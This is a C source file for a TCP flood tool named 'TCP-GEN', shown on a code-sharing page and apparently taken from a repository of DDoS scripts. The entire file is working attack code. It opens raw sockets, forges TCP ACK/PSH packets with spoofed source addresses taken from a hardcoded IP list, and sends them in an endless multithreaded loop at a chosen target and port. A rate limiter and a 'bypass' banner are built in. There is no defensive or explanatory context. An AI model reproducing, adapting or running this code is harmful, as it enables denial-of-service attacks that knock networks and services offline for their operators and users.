Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/TCP-GEN.c
4565 views
1
#include <unistd.h>
2
#include <time.h>
3
#include <sys/types.h>
4
#include <sys/socket.h>
5
#include <sys/ioctl.h>
6
#include <string.h>
7
#include <stdlib.h>
8
#include <stdio.h>
9
#include <pthread.h>
10
#include <netinet/tcp.h>
11
#include <netinet/ip.h>
12
#include <netinet/in.h>
13
#include <netinet/if_ether.h>
14
#include <netdb.h>
15
#include <net/if.h>
16
#include <arpa/inet.h>
17
18
#define MAX_PACKET_SIZE 4096
19
#define PHI 0x9e3779b9
20
21
static unsigned long int Q[4096], c = 362436;
22
static unsigned int floodport;
23
volatile int limiter;
24
volatile unsigned int pps;
25
volatile unsigned int sleeptime = 100;
26
27
void init_rand(unsigned long int x)
28
{
29
int i;
30
Q[0] = x;
31
Q[1] = x + PHI;
32
Q[2] = x + PHI + PHI;
33
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
34
}
35
unsigned long int rand_cmwc(void)
36
{
37
unsigned long long int t, a = 18782LL;
38
static unsigned long int i = 4095;
39
unsigned long int x, r = 0xfffffffe;
40
i = (i + 1) & 4095;
41
t = a * Q[i] + c;
42
c = (t >> 32);
43
x = t + c;
44
if (x < c) {
45
x++;
46
c++;
47
}
48
return (Q[i] = r - x);
49
}
50
51
unsigned short csum (unsigned short *buf, int count)
52
{
53
register unsigned long sum = 0;
54
while( count > 1 ) { sum += *buf++; count -= 2; }
55
if(count > 0) { sum += *(unsigned char *)buf; }
56
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
57
return (unsigned short)(~sum);
58
}
59
60
int sourceports[]= {80,443,3306};
61
uint16_t checksum_tcpudp(struct iphdr *iph, void *buff, uint16_t data_len, int len)
62
{
63
const uint16_t *buf = buff;
64
uint32_t ip_src = iph->saddr;
65
uint32_t ip_dst = iph->daddr;
66
uint32_t sum = 0;
67
int length = len;
68
69
while (len > 1)
70
{
71
sum += *buf;
72
buf++;
73
len -= 2;
74
}
75
76
if (len == 1)
77
sum += *((uint8_t *)buf);
78
79
sum += (ip_src >> 16) & 0xFFFF;
80
sum += ip_src & 0xFFFF;
81
sum += (ip_dst >> 16) & 0xFFFF;
82
sum += ip_dst & 0xFFFF;
83
sum += htons(iph->protocol);
84
sum += data_len;
85
86
while (sum >> 16)
87
sum = (sum & 0xFFFF) + (sum >> 16);
88
89
return ((uint16_t)(~sum));
90
}
91
92
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
93
94
struct tcp_pseudo
95
{
96
unsigned long src_addr;
97
unsigned long dst_addr;
98
unsigned char zero;
99
unsigned char proto;
100
unsigned short length;
101
} pseudohead;
102
unsigned short total_len = iph->tot_len;
103
pseudohead.src_addr=iph->saddr;
104
pseudohead.dst_addr=iph->daddr;
105
pseudohead.zero=0;
106
pseudohead.proto=IPPROTO_TCP;
107
pseudohead.length=htons(sizeof(struct tcphdr));
108
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
109
unsigned short *tcp = malloc(totaltcp_len);
110
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
111
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
112
unsigned short output = csum(tcp,totaltcp_len);
113
free(tcp);
114
return output;
115
}
116
117
int randnum(int min_num, int max_num)
118
{
119
int result = 0, low_num = 0, hi_num = 0;
120
121
if (min_num < max_num)
122
{
123
low_num = min_num;
124
hi_num = max_num + 1;
125
} else {
126
low_num = max_num + 1;
127
hi_num = min_num;
128
}
129
130
131
result = (rand_cmwc() % (hi_num - low_num)) + low_num;
132
return result;
133
}
134
135
void setup_ip_header(struct iphdr *iph)
136
{
137
iph->ihl = 5;
138
iph->version = 4;
139
iph->tos = 0;
140
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
141
iph->id = htonl(30000 + rand_cmwc() % 38323);
142
iph->frag_off = 0;
143
iph->ttl = 52;
144
iph->protocol = 6;
145
iph->check = 0;
146
iph->saddr = inet_addr("192.168.3.100");
147
}
148
149
void setup_tcp_header(struct tcphdr *tcph)
150
{
151
tcph->source = htons(sourceports);
152
tcph->seq = 0;
153
tcph->ack_seq = 1;
154
tcph->res2 = 0;
155
tcph->doff = 5;
156
tcph->ack = 1;
157
tcph->psh = 1;
158
tcph->window = htons(64240);
159
tcph->check = 0;
160
tcph->urg_ptr = 0;
161
}
162
163
void *flood(void *par1)
164
{
165
char *td = (char *)par1;
166
char datagram[MAX_PACKET_SIZE];
167
struct iphdr *iph = (struct iphdr *)datagram;
168
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
169
170
struct sockaddr_in sin;
171
sin.sin_family = AF_INET;
172
sin.sin_port = htons(floodport);
173
sin.sin_addr.s_addr = inet_addr(td);
174
175
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
176
if(s < 0){
177
fprintf(stderr, "Could not open raw socket.\n");
178
exit(-1);
179
}
180
memset(datagram, 0, MAX_PACKET_SIZE);
181
setup_ip_header(iph);
182
setup_tcp_header(tcph);
183
184
tcph->dest = htons(floodport);
185
186
iph->daddr = sin.sin_addr.s_addr;
187
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
188
189
int tmp = 1;
190
const int *val = &tmp;
191
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
192
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
193
exit(-1);
194
}
195
196
init_rand(time(NULL));
197
register unsigned int i;
198
i = 0;
199
200
int class[]= {3353864449,3353864453,3353864457,3353864461,3353864465,3353864469,3353864473,3353864477,3353864481,3353864485,3353864489,3353864493,3353864497,3353864501,3353864505,3353864509,3353864513,3353864517,3353864521,3353864525,3353864529,3353864533,3353864537,3353864541,3353864545,3353864549,3353864553,3353864557,3353864561,3353864565,3353864569,3353864573,3353864577,3353864581,3353864585,3353864589,3353864593,3353864597,3353864601,3353864605,3353864609,3353864613,3353864617,3353864621,3353864625,3353864629,3353864633,3353864637,3353864641,3353864645,3353864649,3353864653,3353864657,3353864661,3353864665,3353864669,3353864673,3353864677,3353864681,3353864685,3353864689,3353864693,3353864697,3353864701};
201
202
while(1){
203
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
204
205
iph->saddr = htonl(class[rand_cmwc()%64]); //64 is the count of decimals
206
iph->id = htonl(30000 + rand_cmwc() % 38323);
207
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
208
tcph->source = htons(sourceports);
209
tcph->check = tcpcsum(iph, tcph);
210
tcph->seq = 0;
211
tcph->ack_seq = 1;
212
tcph->res2 = 0;
213
tcph->doff = 5;
214
tcph->ack = 1;
215
tcph->psh = 1;
216
tcph->window = htons(64240);
217
tcph->check = 0;
218
tcph->urg_ptr = 0;
219
220
if (floodport == 0)
221
{
222
tcph->dest = htons(rand_cmwc() % 0xFFFF);
223
}
224
else
225
{
226
tcph->dest = htons(floodport);
227
}
228
tcph->check = 0;
229
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof(struct tcphdr)), sizeof(struct tcphdr));
230
231
pps++;
232
if(i >= limiter)
233
{
234
i = 0;
235
usleep(sleeptime);
236
}
237
i++;
238
}
239
}
240
int main(int argc, char *argv[ ])
241
{
242
if(argc < 6){
243
fprintf(stderr, "\e[1;33mTCP-GEN, General bypass.\n");
244
fprintf(stdout, "\e[1;33mSyntax: %s <target> <port> <threads> <pps> <time>\n", argv[0]);
245
exit(-1);
246
}
247
248
fprintf(stdout, "\e[1;31mSetting up Sockets...\n");
249
250
int num_threads = atoi(argv[3]);
251
floodport = atoi(argv[2]);
252
int maxpps = atoi(argv[4]);
253
limiter = 0;
254
pps = 0;
255
pthread_t thread[num_threads];
256
257
int multiplier = 20;
258
259
int i;
260
for(i = 0;i<num_threads;i++){
261
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
262
}
263
fprintf(stdout, "\e[1;33mStarting Bypass...\n");
264
for(i = 0;i<(atoi(argv[5])*multiplier);i++)
265
{
266
usleep((1000/multiplier)*1000);
267
if((pps*multiplier) > maxpps)
268
{
269
if(1 > limiter)
270
{
271
sleeptime+=100;
272
} else {
273
limiter--;
274
}
275
} else {
276
limiter++;
277
if(sleeptime > 25)
278
{
279
sleeptime-=25;
280
} else {
281
sleeptime = 0;
282
}
283
}
284
pps = 0;
285
}
286
287
return 0;
288
}
289